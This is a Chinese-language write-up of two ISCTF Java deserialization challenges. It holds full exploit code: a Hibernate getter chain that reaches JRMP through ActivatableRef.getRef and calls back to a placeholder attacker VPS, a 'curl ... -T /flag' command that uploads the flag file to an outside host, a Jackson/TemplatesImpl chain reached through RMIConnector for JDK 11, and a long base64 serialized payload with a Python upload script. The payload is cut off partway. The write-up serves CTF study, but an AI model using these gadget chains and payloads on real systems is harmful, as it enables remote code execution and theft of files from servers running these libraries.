ISCTF两道二次反序列化题目分析
在ISCTF中出现了getter但黑名单许多常见的依赖都给禁用掉了,我们又该如何利用呢?
挑战一、Regretful_Deser
入口点分析
题目给了个jar包,同时使用的jdk版本是1.8.0 472
反序列化入口点

反序列化的时候还有个hashcode匹配
要求是传入的pass字符串不能跟n1ght相等,但是两者的hashcode要相等,拿脚本跑一下
在java里面运行
public static void main(String[] args) {
String target = "n1ght";
int targetHash = target.hashCode();
List<String> collisions = new ArrayList<>();
// 预计算幂次
int pow4 = 31 * 31 * 31 * 31;
int pow3 = 31 * 31 * 31;
int pow2 = 31 * 31;
int pow1 = 31;
// 固定前2位为'n'和'1'(s0=110, s1=49),仅遍历s2/s3
char s0 = 'n'; // 110
char s1 = '1'; // 49
int part01 = s0 * pow4 + s1 * pow3;
for (char s2 = 32; s2 <= 126; s2++) {
int part2 = part01 + s2 * pow2;
for (char s3 = 32; s3 <= 126; s3++) {
int part3 = part2 + s3 * pow1;
int s4Ascii = targetHash - part3;
s4Ascii = (s4Ascii % 0x10000000 + 0x10000000) % 0x10000000;
if (s4Ascii >= 32 && s4Ascii <= 126) {
char s4 = (char) s4Ascii;
String test = "" + s0 + s1 + s2 + s3 + s4;
if (!test.equals(target) && test.hashCode() == targetHash) {
collisions.add(test);
System.out.println("快速找到:" + test);
}
}
}
}
System.out.println("结果:" + collisions); // 输出 [n1ghl]
}
//得到结果
//结果:[n1giU, n1gj6, n1hIt, n1hJU, n1hK6, n1i*t, n1i+U, n1i,6]题目依赖

SecurityObjectInputStream反序列化黑名单
"org.apache.commons.collections",
"javax.swing",
"com.sun.rowset",
"com.sun.org.apache.xalan",
"java.security",
"java.rmi.MarshalledObject",
"javax.management.remote.rmi.RMIConnector"
看见依赖立马就想到要打5.6.15.Final反序列化链1
调用链如下,具体分析网上有大量的文章
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()最终触发org.hibernate.property.access.spi.GetterMethodImpl.get()方法,达到getter

黑名单分析
现在我们来分析一下黑名单
"org.apache.commons.collections"禁用
getter之后无法使用CC链,得通过二次反序列化
"com.sun.org.apache.xalan"禁用
导致我们无法直接使用TemplatesImpl.getOutputProperties()达到最终的RCE
"javax.swing"禁用
导致我们开始反序列化的时候,无法直接去使用javax.swing.event.EventListenerList那条利用链
二次反序列化禁用
"com.sun.rowset",
"java.security",
"java.rmi.MarshalledObject",
"javax.management.remote.rmi.RMIConnector"这几个黑名单,
java.security.SignedObject
javax.management.remote.rmi.RMIConnector
com.sun.rowset.JdbcRowSetImpl推测出题人的目的是想禁用二次反序列化,但是我们会发现
com.sun.jndi.ldap.LdapAttribute并没有被ban掉,但是此时的jdk版本是1.8.0 472
高版本jdk打ldap会被限制,触发

转折
基本能确定的是,达到getter的方向是对的,但是我们需要去利用二次反序列化来绕过黑名单的限制。
在网上冲浪搜索发现这么一篇文章
https://aluvion.github.io/2022/02/27/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%AD%E7%9A%84RMI%E3%80%81JRMP%E3%80%81JNDI%E3%80%81LDAP-2/#RegistryImpl-Skel里面有下面这两段话
调用ActivatableRef类的invoke函数,即RemoteRef接口的invoke函数,但是反序列化过程中方便触发的点位于RemoteObjectInvocationHandler函数中,需要使用动态代理,还需要代理的接口继承了Remote。整条利用链应该跟以前学习过的JRMP绕过类似,这里就不验证了。
StreamRemoteCall位于executeCall函数中,同样有两条路径,第一条与MarshalledObject相似,通过RemoteRef接口的invoke函数触发,即以前学习过的JRMP反序列化绕过利用链。
那么在尝试RMI、JNDI、LDAP都失败的情况下才想起来有JRMP这种方法。
调试分析
先找到ActivatableRef类的invoke函数

发现他其实是个有参,跟我们getter点触发无参并不匹配。
但是发现他的无参方法只有三个
public String remoteToString() {
return Util.getUnqualifiedName(getClass()) +
" [remoteRef: " + ref + "]";
}
/**
* default implementation of hashCode for remote objects
*/
public int remoteHashCode() {
return id.hashCode();
}
private synchronized RemoteRef getRef()
throws RemoteException
{
if (ref == null) {
ref = activate(false);
}
return ref;
}其中的getRef不由得引起我的注意

跟进activate方法
private RemoteRef activate(boolean force)
throws RemoteException
{
assert Thread.holdsLock(this);
ref = null;
try {
Remote proxy = id.activate(force);
ActivatableRef newRef = null;
if (proxy instanceof RemoteStub) {
newRef = (ActivatableRef) ((RemoteStub) proxy).getRef();
} else {
RemoteObjectInvocationHandler handler =
(RemoteObjectInvocationHandler)
Proxy.getInvocationHandler(proxy);
newRef = (ActivatableRef) handler.getRef();
}
ref = newRef.ref;
return ref;
} catch (ConnectException e) {
throw new ConnectException("activation failed", e);
} catch (RemoteException e) {
throw new ConnectIOException("activation failed", e);
} catch (UnknownObjectException e) {
throw new NoSuchObjectException("object not registered");
} catch (ActivationException e) {
throw new ActivateFailedException("activation failed", e);
}
}你会发现,这里其实跟上面文章说的调用ActivatableRef类的invoke函数触发JRMP道理是一样的,

invoke和getRef调用的是同一个activate
也就是说我们现在不一定要调用有参的invoke走到RemoteObjectInvocationHandler函数中,还可以利用无参的getRef来触发

跟入ActivationID.activate的方法

那么断点处调用的是Activator的activate
如果Activator是一个动态代理对象,调用该代理对象的 activate() 方法时,会触发动态代理的核心逻辑 —— 转发到 RemoteObjectInvocationHandler.invoke()
然后后面的就是正常的jrmp打法了

调用链如下:
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:273)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:164)
at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:235)
at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:180)
at com.sun.proxy.$Proxy0.activate(Unknown Source)
at java.rmi.activation.ActivationID.activate(ActivationID.java:132)
at sun.rmi.server.ActivatableRef.activate(ActivatableRef.java:277)最终触发executeCall方法里面的readObject

demo脚本
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.activation.ActivationID;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.HashMap;
import java.util.Random;
import sun.rmi.server.ActivatableRef;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import static com.example.hibernate.setField;
public class Demo {
public static void main(String[] args) throws Exception {
String host = "java-chain-IP";
int port = 13999;
ObjID id2 = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id2, te, false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class, Activator.class}, handler);
ActivationID activationID = new ActivationID((Activator) proxy);
ActivatableRef activatableRef = new ActivatableRef();
setField(activatableRef, "id", activationID);
Method getMethod = ActivatableRef.class.getDeclaredMethod("getRef");
getMethod.setAccessible(true);
getMethod.invoke(activatableRef);
}
public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
}
Regretful_Deser题目复现
hibernate+动态代理payload
我们只需要把get方法反射调用的对象改成ActivatableRef以及方法改成调用getRef即可,具体如下
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.example.SecurityObjectInputStream;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.rmi.Remote;
import java.rmi.activation.ActivationID;
import java.rmi.activation.Activator;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;
import java.util.HashMap;
import java.text.SimpleDateFormat;
import java.util.Hashtable;
import sun.rmi.server.ActivatableRef;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.naming.CompositeName;
import java.rmi.MarshalledObject;
import java.util.Random;
import javax.naming.directory.BasicAttribute;
public class hibernate {
/*
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*/
public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{
Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes);
constructor.setAccessible(true);
Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance(argsValues);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate)
throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate,
Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs)
throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void main(String[] args) throws Exception {
Hashtable hashtable = new Hashtable();
ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);
setField(componentType,"propertySpan",2);
Class c1 = Class.forName("sun.rmi.server.ActivatableRef");
String host = "vps-ip";
int port = 13999;
ObjID id2 = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id2, te, false));
// 2. 创建动态代理
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class, Activator.class}, handler);
ActivationID activationID = new ActivationID((Activator) proxy);
ActivatableRef activatableRef = (ActivatableRef) createWithoutConstructor(Class.forName("sun.rmi.server.ActivatableRef"));
setField(activatableRef, "id", activationID);
TypedValue typedValue = new TypedValue(componentType,activatableRef);
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);
Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", c1.getDeclaredMethod("getRef"))});
// field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", ActivatableRef.class.getDeclaredMethod("getRef"))});
setField(componentType,"componentTuplizer",pojoComponentTuplizer);
hashtable.put(1,111);
Field tableField = Hashtable.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashtable);
for (Object entry: table){
// System.out.println(entry);
if (entry != null){
setField(entry,"key",typedValue);
}
}
String string = Base64.getEncoder().encodeToString(ser(hashtable));
System.out.println(string);
}
public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}
public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}
}把生成的字节码粘贴到python脚本里面
import requests
import base64
#TARGET_URL = "http://127.0.0.1:58999/api/echo"
TARGET_URL = "http://靶场ip:20811/api/echo"
PASS_VALUE = "n1giU"
ECHO_BASE64 = ""
headers = {
"Pass": PASS_VALUE,
"echo": ECHO_BASE64
}
def send_echo_request():
try:
response = requests.get(
url=TARGET_URL,
headers=headers,
timeout=10
)
print("=== 请求结果 ===")
print(f"状态码: {response.status_code}")
print(f"响应头: {dict(response.headers)}")
print(f"响应内容: {response.text}")
except requests.exceptions.ConnectionError:
print("错误:无法连接到服务端,请检查 IP/端口 是否正确")
except requests.exceptions.Timeout:
print("错误:请求超时")
except Exception as e:
print(f"错误:{str(e)}")
if __name__ == "__main__":
send_echo_request()
vps启动java-chains
java -jar java-chains.jar -i 0.0.0.0因为我们知道题目是有CC依赖的

然后往下滑
命令填入
curl https://dns/ -T /flag外带出来成功拿到flag
挑战二、load_jvav
发现有列目录和文件读取漏洞


把zip源码读出来,开始审计
题目分析

发现在文件上传的地方他会把文件内容进行base64解码之后再进行反序列化。
查看safeSer类,黑名单如下

依赖如下
<properties>
<java.version>1.8</java.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<spring-boot.version>2.6.13</spring-boot.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
</dependencies>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-dependencies</artifactId>
<version>${spring-boot.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
这题通用能打的依赖还是很多的,但是黑名单基本上又把依赖都禁用了。
发现题目还给了一个类,能够直接实现getter,但是这次是要触发有参的方法,而且参数只能是一个

由于有了上题的经验,很快就能想到用javax.management.remote.rmi.RMIConnector的connect方法打一个二次反序列化
因为它的connect有个是有参的,另一个是无参的。

因为依赖是自带jackson的,因此二次反序列化打jackson原生链就行,同时该题目是不出网的,得打个内存马。
但是我本地尝试了很久都无法成功。
这题很坑的点就是,他这里给你的信息让你误以为是用jdk8来去启动jar包的,实则不然

后面打着打着一直发现不对劲,才想起来读环境变量,看了眼题目的jdk,发现是11。
调用栈如下
at java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(AbstractTranslet.java:375) ~[na:na]
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:557) ~[na:na]
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:584) ~[na:na]
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:605) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:na]
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
at java.base/java.lang.reflect.Method.invoke(Method.java:566) ~[na:na]
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:344) ~[spring-aop-5.3.23.jar:5.3.23]
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:208) ~[spring-aop-5.3.23.jar:5.3.23]
at com.sun.proxy.$Proxy90.getOutputProperties(Unknown Source) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:na]
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
at java.base/java.lang.reflect.Method.invoke(Method.java:566) ~[na:na]
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
at com.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
at com.fasterxml.jackson.databind.SerializerProvider.defaultSerializeValue(SerializerProvider.java:1142) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
at com.fasterxml.jackson.databind.node.POJONode.serialize(POJONode.java:115) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:39) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:20) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:480) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:319) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
at com.fasterxml.jackson.databind.ObjectWriter$Prefetch.serialize(ObjectWriter.java:1518) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
at com.fasterxml.jackson.databind.ObjectWriter._writeValueAndClose(ObjectWriter.java:1219) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
at com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(ObjectWriter.java:1086) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:30) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
at com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:136) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
at java.base/java.lang.String.valueOf(String.java:2951) ~[na:na]
at java.base/java.lang.StringBuilder.append(StringBuilder.java:172) ~[na:na]
at java.base/java.util.AbstractCollection.toString(AbstractCollection.java:473) ~[na:na]
at java.base/java.util.Vector.toString(Vector.java:1114) ~[na:na]
at java.base/java.lang.String.valueOf(String.java:2951) ~[na:na]
at java.desktop/javax.swing.undo.CompoundEdit.toString(CompoundEdit.java:266) ~[na:na]
at java.desktop/javax.swing.undo.UndoManager.toString(UndoManager.java:695) ~[na:na]
at java.base/java.lang.String.valueOf(String.java:2951) ~[na:na]
at java.desktop/javax.swing.event.EventListenerList.add(EventListenerList.java:202) ~[na:na]
at java.desktop/javax.swing.event.EventListenerList.readObject(EventListenerList.java:296) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:na]
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
at java.base/java.lang.reflect.Method.invoke(Method.java:566) ~[na:na]
at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1046) ~[na:na]
at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2357) ~[na:na]
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2228) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1687) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:489) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:447) ~[na:na]
at java.management.rmi/javax.management.remote.rmi.RMIConnector.findRMIServerJRMP(RMIConnector.java:1868) ~[na:na]
at java.management.rmi/javax.management.remote.rmi.RMIConnector.findRMIServer(RMIConnector.java:1815) ~[na:na]
at java.management.rmi/javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:302) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:na]
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
at java.base/java.lang.reflect.Method.invoke(Method.java:566) ~[na:na]
at com.example.utile.YouFindThis.POFP(YouFindThis.java:44) ~[classes/:na]
at com.example.utile.YouFindThis.readObject(YouFindThis.java:24) ~[classes/:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:na]
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
at java.base/java.lang.reflect.Method.invoke(Method.java:566) ~[na:na]
at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1046) ~[na:na]
at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2357) ~[na:na]
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2228) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1687) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:489) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:447) ~[na:na]
at com.example.web.api.api.upload(api.java:54) ~[classes/:na]因此最终payload如下
import requests
import base64
import os
# ========== 配置项(替换成你的实际值) ==========
#UPLOAD_URL = "http://challenge.bluesharkinfo.com:29786/api/upload" # 后端upload接口地址
UPLOAD_URL = "http://127.0.0.1:58666/api/upload" # 后端upload接口地址
BIN_FILE_PATH = "1.bin" # 你生成的序列化文件路径
UPLOAD_FILENAME = "payload.ref" # 文件名后缀必须包含ref(满足filename.substring(lastIndexOf(".")).contains("ref"))
def upload_serialized_file():
# 1. 读取1.bin的字节内容
# 2. 对字节流做Base64编码(后端会解码,必须纯编码无换行)
b64_encoded ="rO0ABXNyAB1jb20uZXhhbXBsZS51dGlsZS5Zb3VGaW5kVGhpcwjLUi3UjktrAgAFTAAGYUNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAAhhcmdjbGFzc3EAfgABTAAEYXJnc3QAEkxqYXZhL2xhbmcvT2JqZWN0O0wABWlucHV0cQB+AAJMAAZtZXRoZWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHZyAChqYXZheC5tYW5hZ2VtZW50LnJlbW90ZS5ybWkuUk1JQ29ubmVjdG9yC1e2+IIk4ukDAAJMAA1qbXhTZXJ2aWNlVVJMdAAnTGphdmF4L21hbmFnZW1lbnQvcmVtb3RlL0pNWFNlcnZpY2VVUkw7TAAJcm1pU2VydmVydAAnTGphdmF4L21hbmFnZW1lbnQvcmVtb3RlL3JtaS9STUlTZXJ2ZXI7eHB2cgANamF2YS51dGlsLk1hcAAAAAAAAAAAAAAAeHBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQAIWpteC5yZW1vdGUucHJvdG9jb2wucHJvdmlkZXIucGtnc3QAG2NvbS5zdW4uam14LnJlbW90ZS5wcm90b2NvbHhzcQB+AAVzcgAlamF2YXgubWFuYWdlbWVudC5yZW1vdGUuSk1YU2VydmljZVVSTHFtn6Bdkm0cAgAESQAEcG9ydEwABGhvc3RxAH4AA0wACHByb3RvY29scQB+AANMAAd1cmxQYXRocQB+AAN4cAAAAAB0AAB0AANybWl0LOIvc3R1Yi9yTzBBQlhOeUFDTnFZWFpoZUM1emQybHVaeTVsZG1WdWRDNUZkbVZ1ZEV4cGMzUmxibVZ5VEdsemRKRkl6QzF6M3c3ZUF3QUFlSEIwQUJCcVlYWmhMblYwYVd3dVFtRnpaVFkwYzNJQUhHcGhkbUY0TG5OM2FXNW5MblZ1Wkc4dVZXNWtiMDFoYm1GblpYTHhmcDhkQ0NyQ0hRSUFBa2tBRG1sdVpHVjRUMlpPWlhoMFFXUmtTUUFGYkdsdGFYUjRjZ0FkYW1GMllYZ3VjM2RwYm1jdWRXNWtieTVEYjIxd2IzVnVaRVZrYVhTbG5sQzZVOXVWL1FJQUFsb0FDbWx1VUhKdlozSmxjM05NQUFWbFpHbDBjM1FBRWt4cVlYWmhMM1YwYVd3dlZtVmpkRzl5TzNoeUFDVnFZWFpoZUM1emQybHVaeTUxYm1SdkxrRmljM1J5WVdOMFZXNWtiMkZpYkdWRlpHbDBDQTBianUwQ0N4QUNBQUphQUFWaGJHbDJaVm9BQzJoaGMwSmxaVzVFYjI1bGVIQUJBUUZ6Y2dBUWFtRjJZUzUxZEdsc0xsWmxZM1J2Y3RtWGZWdUFPNjhCQXdBRFNRQVJZMkZ3WVdOcGRIbEpibU55WlcxbGJuUkpBQXhsYkdWdFpXNTBRMjkxYm5SYkFBdGxiR1Z0Wlc1MFJHRjBZWFFBRTF0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZER0NGNBQUFBQUFBQUFBQmRYSUFFMXRNYW1GMllTNXNZVzVuTGs5aWFtVmpkRHVRemxpZkVITXBiQUlBQUhod0FBQUFDbk55QUN4amIyMHVabUZ6ZEdWeWVHMXNMbXBoWTJ0emIyNHVaR0YwWVdKcGJtUXVibTlrWlM1UVQwcFBUbTlrWlFBQUFBQUFBQUFDQWdBQlRBQUdYM1poYkhWbGRBQVNUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdlSElBTFdOdmJTNW1ZWE4wWlhKNGJXd3VhbUZqYTNOdmJpNWtZWFJoWW1sdVpDNXViMlJsTGxaaGJIVmxUbTlrWlFBQUFBQUFBQUFCQWdBQWVISUFNR052YlM1bVlYTjBaWEo0Yld3dWFtRmphM052Ymk1a1lYUmhZbWx1WkM1dWIyUmxMa0poYzJWS2MyOXVUbTlrWlFBQUFBQUFBQUFCQWdBQWVIQnpmUUFBQUFFQUhXcGhkbUY0TG5odGJDNTBjbUZ1YzJadmNtMHVWR1Z0Y0d4aGRHVnplSElBRjJwaGRtRXViR0Z1Wnk1eVpXWnNaV04wTGxCeWIzaDU0U2ZhSU13UVE4c0NBQUZNQUFGb2RBQWxUR3BoZG1FdmJHRnVaeTl5Wldac1pXTjBMMGx1ZG05allYUnBiMjVJWVc1a2JHVnlPM2h3YzNJQU5HOXlaeTV6Y0hKcGJtZG1jbUZ0WlhkdmNtc3VZVzl3TG1aeVlXMWxkMjl5YXk1S1pHdEVlVzVoYldsalFXOXdVSEp2ZUhsTXhMUnhEdXVXL0FJQUJGb0FEV1Z4ZFdGc2MwUmxabWx1WldSYUFBOW9ZWE5vUTI5a1pVUmxabWx1WldSTUFBZGhaSFpwYzJWa2RBQXlURzl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2WVc5d0wyWnlZVzFsZDI5eWF5OUJaSFpwYzJWa1UzVndjRzl5ZER0YkFCRndjbTk0YVdWa1NXNTBaWEptWVdObGMzUUFFbHRNYW1GMllTOXNZVzVuTDBOc1lYTnpPM2h3QUFCemNnQXdiM0puTG5Od2NtbHVaMlp5WVcxbGQyOXlheTVoYjNBdVpuSmhiV1YzYjNKckxrRmtkbWx6WldSVGRYQndiM0owSk11S1BQcWt4WFVDQUFWYUFBdHdjbVZHYVd4MFpYSmxaRXdBRTJGa2RtbHpiM0pEYUdGcGJrWmhZM1J2Y25sMEFEZE1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTloYjNBdlpuSmhiV1YzYjNKckwwRmtkbWx6YjNKRGFHRnBia1poWTNSdmNuazdUQUFJWVdSMmFYTnZjbk4wQUJCTWFtRj